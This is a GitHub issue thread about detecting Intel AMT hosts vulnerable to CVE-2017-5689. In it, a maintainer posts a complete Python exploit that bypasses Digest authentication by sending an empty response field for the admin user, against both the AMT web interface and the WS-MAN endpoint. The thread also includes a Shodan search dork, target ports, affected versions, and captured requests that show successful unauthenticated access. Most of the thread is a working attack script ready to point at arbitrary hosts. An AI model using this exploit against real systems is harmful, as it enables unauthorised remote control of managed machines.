Potential false negative with the CVE-2017-5689.py script
yanaimoyal opened this issue · 3 comments
yanaimoyal commented
You may get false negative with current script:
- AMT web interface could be disable while only WS-MAN is enabled
- In Kabilake and Skylake system with AMT 11.x version, the Server field in the HTTP response won't match what you have in your script.
See example below to send WS-MAN to get AMT FW Core Version and also how the HTTP response with Server field will look like
POST /wsman HTTP/1.1
Content-Length: 1543
Connection: close
User-Agent: Mozilla/5.0
Host: 134.134.134.134
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tns="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wscat="http://schemas.xmlsoap.org/ws/2005/06/wsmancat" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration">
<soap:Header>
<wsa:To>http://134.134.134.134:16992/wsman</wsa:To>
<wsa:ReplyTo>
<wsa:Address soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address>
</wsa:ReplyTo>
<wsa:Action soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action>
<wsman:MaxEnvelopeSize soap:mustUnderstand="true">51200</wsman:MaxEnvelopeSize>
<wsa:MessageID>uuid:72426165-3612-0436-6450-103681140543</wsa:MessageID>
<wsman:ResourceURI soap:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity</wsman:ResourceURI>
<wsman:SelectorSet>
<wsman:Selector Name="InstanceID">AMT FW Core Version</wsman:Selector>
</wsman:SelectorSet>
<wsman:OperationTimeout>PT60.000S</wsman:OperationTimeout>
</soap:Header>
<soap:Body />
</soap:Envelope>
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="Digest:30D40000000000000000000000000000", nonce="zm8DAAsfAAAKg62FIMR9haAOe9Ix13A6",stale="false",qop="auth"
Content-Type: text/html
Server: AMT
Content-Length: 690
Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" >
<html><head><link rel=stylesheet href=/styles.css>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Intel® Active Management Technology</title></head>
<body>
<table class=header>
<tr><td valign=top nowrap>
<p class=top1>Intel<font class=r><sup>®</sup></font> Active Management Technology
<td valign="top"><img src="logo.gif" align="right" alt="Intel">
</table>
<br />
<h2 class=warn>Log on failed. Incorrect user name or password, or user account temporarily locked.</h2>
<p>
<form METHOD="GET" action="index.htm"><h2><input type=submit value="Try again">
</h2></form>
<p>
</body>
</html>
nixawk commented
Thanks @yanaimoyal . I'll check it later.
- If http server is
AMT
, the pyscript does not work. - If AMT web interface could be disable while only WS-MAN is enabled.
SOAP check can be added.
nixawk commented
@yanaimoyal Could you try the following exploit against your lab ? Let's make it stronger.
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Nixawk
# CVE-2017-5689 = {
# dork="Server: Intel(R) Active Management Technology" port:"16992",
# ports=[
# 623,
# 664,
# 16992,
# 16993,
# 16994,
# 16995
# ]
# products=[
# Active Management Technology (AMT),
# Intel Standard Manageability (ISM),
# Intel Small Business Technology (SBT)
# ]
# version=[
# 6.x,
# 7.x,
# 8.x,
# 9.x,
# 10.x,
# 11.0,
# 11.5,
# 11.6
# ]
import functools
import requests
import logging
import uuid
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger(__file__)
TIMEOUT = 8
def handle_exception(func):
functools.wraps(func)
def wrapper(*args, **kwds):
try:
return func(*args, **kwds)
except Exception as err:
log.error(err)
return False
return wrapper
def intel_vulnerable_product(server):
status = False
products = [
'Intel(R) Active Management Technology',
'Intel(R) Standard Manageability',
'Intel(R) Small Business Technology',
'AMT'
]
results = map(lambda x: x in server, products)
status = True if (True in results) else False
return status
@handle_exception
def exploit_web_interface(host, port):
status = False
url = "http://{host}:{port}/index.htm".format(host=host, port=port)
headers = {"User-Agent": "Mozilla/5.0"}
httprsp = requests.get(url, headers=headers, timeout=TIMEOUT)
if not intel_vulnerable_product(httprsp.headers['Server']): return status
"""
GET /index.htm HTTP/1.1
Host: 192.168.1.100:16992
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",stale="false",qop="auth"
Content-Type: text/html
Server: Intel(R) Active Management Technology 8.1.40
Content-Length: 689
Connection: close
"""
www_authenticate = httprsp.headers.get('WWW-Authenticate')
www_authenticate = www_authenticate.replace(
'stale="false"',
'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'
)
headers.update({"Authorization": www_authenticate})
httprsp = requests.get(url, headers=headers, timeout=TIMEOUT)
if not httprsp: return status
if not httprsp.headers: return status
if not intel_vulnerable_product(httprsp.headers['Server']): return status
if httprsp.status_code == 200: status = True
"""
GET /index.htm HTTP/1.1
Host: 192.168.1.100:16992
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.13.0
Authorization: Digest realm="Digest:7BA70000000000000000000000000000", nonce="/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7",username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c,qop="auth"
HTTP/1.1 200 OK
Date: Sat, 6 May 2017 03:24:33 GMT
Server: Intel(R) Active Management Technology 8.1.40
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT
04A9
"""
return status
@handle_exception
def exploit_wsman(host, port):
status = False
url = "http://{host}:{port}/wsman".format(host=host, port=port)
soap = (
'<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tns="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wscat="http://schemas.xmlsoap.org/ws/2005/06/wsmancat" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration">'
' <soap:Header>'
' <wsa:To>{url}</wsa:To>'
' <wsa:ReplyTo>'
' <wsa:Address soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address>'
' </wsa:ReplyTo>'
' <wsa:Action soap:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action>'
' <wsman:MaxEnvelopeSize soap:mustUnderstand="true">51200</wsman:MaxEnvelopeSize>'
' <wsa:MessageID>uuid:{uuid}</wsa:MessageID>'
' <wsman:ResourceURI soap:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity</wsman:ResourceURI>'
' <wsman:SelectorSet>'
' <wsman:Selector Name="InstanceID">AMT FW Core Version</wsman:Selector>'
' </wsman:SelectorSet>'
' <wsman:OperationTimeout>PT60.000S</wsman:OperationTimeout>'
' </soap:Header>'
' <soap:Body />'
'</soap:Envelope>'
).format(url=url, uuid=str(uuid.uuid4()))
headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/soap+xml; charset=UTF-8"}
httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT)
if not intel_vulnerable_product(httprsp.headers['Server']): return status
www_authenticate = httprsp.headers.get('WWW-Authenticate')
www_authenticate = www_authenticate.replace(
'stale="false"',
'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'
)
headers.update({"Authorization": www_authenticate})
httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT)
if not httprsp: return status
if not httprsp.headers: return status
if not intel_vulnerable_product(httprsp.headers['Server']): return status
if httprsp.status_code == 200: status = True
return status
if __name__ == "__main__":
import sys
if len(sys.argv) != 3:
log.info("[+] Usage: python {} <host> <port>".format(sys.argv[0]))
sys.exit(1)
host, port = sys.argv[1], sys.argv[2]
if exploit_web_interface(host, port) or exploit_wsman(host, port):
log.info("[success] CVE-2017-5689 - {host}:{port}".format(host=host, port=port))
else:
log.info("[failed] CVE-2017-5689 - {host}:{port}".format(host=host, port=port))
## References
# http://thehackernews.com/2017/05/intel-amt-vulnerability.html
# https://www.ssh.com/vulnerability/intel-amt/
# https://www.shodan.io/report/mnAozbpC
# https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
# https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
# https://github.com/nixawk/labs/issues/4
nixawk commented
Thanks @yanaimoyal . Close the issue. If you have problems, please reopen it.